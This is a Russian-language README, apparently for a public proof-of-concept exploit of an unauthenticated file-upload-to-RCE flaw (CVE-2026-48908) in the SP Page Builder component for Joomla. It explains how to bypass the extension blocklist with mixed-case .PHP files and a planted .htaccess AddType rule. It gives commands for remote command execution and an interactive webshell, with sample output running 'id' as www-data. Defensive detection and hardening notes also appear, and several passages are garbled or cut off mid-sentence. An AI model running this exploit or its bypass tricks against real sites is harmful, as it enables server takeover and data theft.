
PoC неавторизованного RCE для CVE-2026-48908 — SP Page Builder для Joomla (≤ 6.6.1): произвольная загрузка файлов через asset.uploadCustomIcon. Самоочищающийся, защищённый токеном. Только для авторизованного тестирования.
Эксплойт proof-of-concept для CVE-2026-48908, критической (CVSS 4.0 = 10.0) уязвимости неавторизованного удаленного выполнения кода в компоненте SP Page Builder (com_sppagebuilder) для Joomla от JoomShaper.
| CVE | CVE-2026-48908 |
| Недостаток | CWE-284 Ненадлежащий контроль доступа → Неавторизованная произвольная загрузка файлов → RCE |
| Компонент | SP Page Builder (com_sppagebuilder) для Joomla |
| Затронутые версии | 1.0.0 – 6.6.1 |
| Исправлено в | 6.6.2 |
| Требуемые привилегии | Нет (до аутентификации) |
| Взаимодействие пользователя | Нет |
SP Page Builder предоставляет задачу контроллера asset.uploadCustomIcon для обработки загрузки набора пользовательских иконок-шрифтов:
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
В уязвимых версиях эта задача доступна без аутентификации и без действительного анти-CSRF токена. Она принимает ZIP-архив (поле multipart custom_icon) и извлекает его содержимое в общедоступный веб-каталог под корнем документа:
/media/com_sppagebuilder/assets/iconfont/<name>/ (including the fonts/ subfolder)
Поскольку загрузка доступна до аутентификации, а извлеченные файлы попадают в корень веб-сервера, злоумышленник может записать файлы под своим контролем в доступное для просмотра местоположение и обращаться к ним через HTTP.
.php, .phtml, .phar, .php3–.php8, .pht, .inc, … но он не нормализует регистр, поэтому .PHP (и другие варианты смешанного регистра) и .htaccess проходят.<FilesMatch "\.php$">) выполняет только строчные .php, поэтому загруженный .PHP изначально отдается как исходный текст, а не выполняется..htaccess. (который блок-лист также пропускает), содержащий , размещается вместе с нагрузкой. Если это разрешает, то регистрируется как PHP, и загруженная оболочка .PoC всегда упаковывает допустимую структуру иконок-шрифтов (selection.json, style.css, fonts/<name>.ttf), чтобы загрузка была принята, а затем добавляет оболочку.
Адаптивный — он перебирает список выполняемых PHP расширений (сначала наименее заметные), затем запасной вариант через .htaccess и останавливается на первом, который действительно выполняет код:
fonts/<shell>.<ext> для каждого из php, php3, php4, php5, php7, pht, phtml, phar, PHP, pHp, Php. Без .htaccess. Разные фильтры SP Page Builder блокируют разные наборы, а разные конфигурации Apache выполняют разные расширения — поэтому это находит любую комбинацию, которую цель допускает и выполняет.fonts/.htaccess + fonts/<shell>.PHP (запасной вариант) — только если все прямые попытки не удались. Размещенный .htaccess (AddType … .PHP) заставляет выполнять заглавный .PHP там, где AllowOverride это разрешает (это нужно хостам стиля 5.4.6).Он останавливается на первом выполнившемся методе и выводит, какой сработал. Каждая принятая загрузка отслеживается, поэтому --cleanup удаляет все из них (множественные попытки могут оставить каталоги только для записи).
В зависимости от версии и укрепления сервера результат варьируется, и PoC явно указывает это (см. Результаты ниже): полное RCE, только запись файлов (PHP отключен /
AllowOverride None), исправлено (только для администраторов) или не уязвимо.
pip install -r requirements.txt # requests
# confirm the vulnerability and prove code execution (runs `id`)
python3 sppb_rce.py https://target.example
# run a specific command
python3 sppb_rce.py --url target.example -c "uname -a"
# interactive pseudo-shell
python3 sppb_rce.py https://target.example --shell
# only check; run no command
python3 sppb_rce.py https://target.example --check
# remove the uploaded payload directory afterwards
python3 sppb_rce.py https://target.example --cleanup
Цель может быть указана как позиционный аргумент или через --url, со схемой или без.
[*] target : https://target.example
[*] endpoint : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
[*] try .php -> rejected by filter
[*] try .php3 -> rejected by filter
...
[*] try .PHP -> uploaded, not executed
[*] try .htaccess+.PHP -> EXECUTED
[+] CODE EXECUTION CONFIRMED via '.htaccess+.PHP' (echo 7*6 -> 42)
[*] running: id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------------------------------------
[*] cleanup: done (4 dirs)
PoC всегда сообщает вердикт для цели:
404 любому без него — это не открытая всему миру бэкдор.--cleanup удаляет созданный каталог с нагрузкой.id, арифметическая метка)./media/, /images/, /tmp) через пул FPM или php_admin_flag engine off.AllowOverride None для этих каталогов, чтобы размещенный .htaccess не мог повторно включить обработчики..php/.PHP в media/.../iconfont/, новые учетные записи Super User и установленные файловые менеджеры.Joomla SP Page Builder эксплойт · com_sppagebuilder неавторизованное RCE · CVE-2026-48908 PoC · asset.uploadCustomIcon произвольная загрузка файлов · Joomla удаленное выполнение кода · скрипт эксплойта для пентеста.
Это программное обеспечение опубликовано только для образовательных целей и авторизованного тестирования безопасности — например, пентестов, на которые у вас есть письменное разрешение, программ bug bounty, включающих цель в область действия, CTF-соревнований и ваших собственных лабораторных систем.
Доступ, модификация или нарушение работы компьютерных систем без авторизации незаконно в большинстве юрисдикций. Вы несете полную и исключительную ответственность за свои действия. Используя, загружая или распространяя этот код, вы соглашаетесь с тем, что:
Если вы не согласны с этими условиями, не используйте это программное обеспечение. Как и любой общедоступный эксплойт/PoC, он распространяется добросовестно, чтобы помочь защитникам обнаружить, понять и устранить уязвимость; что вы с ним делаете — ваша ответственность.
MIT — см. LICENSE.
.htaccessAddType application/x-httpd-php .PHPAllowOverride.PHP| Вывод | Значение | Выход |
|---|
CODE EXECUTION CONFIRMED via '<method>' | Уязвима — полное RCE без аутентификации | 0 |
[~] PARTIALLY VULNERABLE — unauth file-write works, but PHP did NOT execute | Только запись файлов (AllowOverride None / PHP отключен в /media) | 3 |
[-] TARGET NOT VULNERABLE — SP Page Builder is patched (6.6.2+) | Исправлено — загрузка теперь требует аутентификации администратора | 1 |
[-] TARGET NOT VULNERABLE — every upload was rejected, or SP Page Builder is absent/patched | Не эксплуатируется / компонент отсутствует | 2 |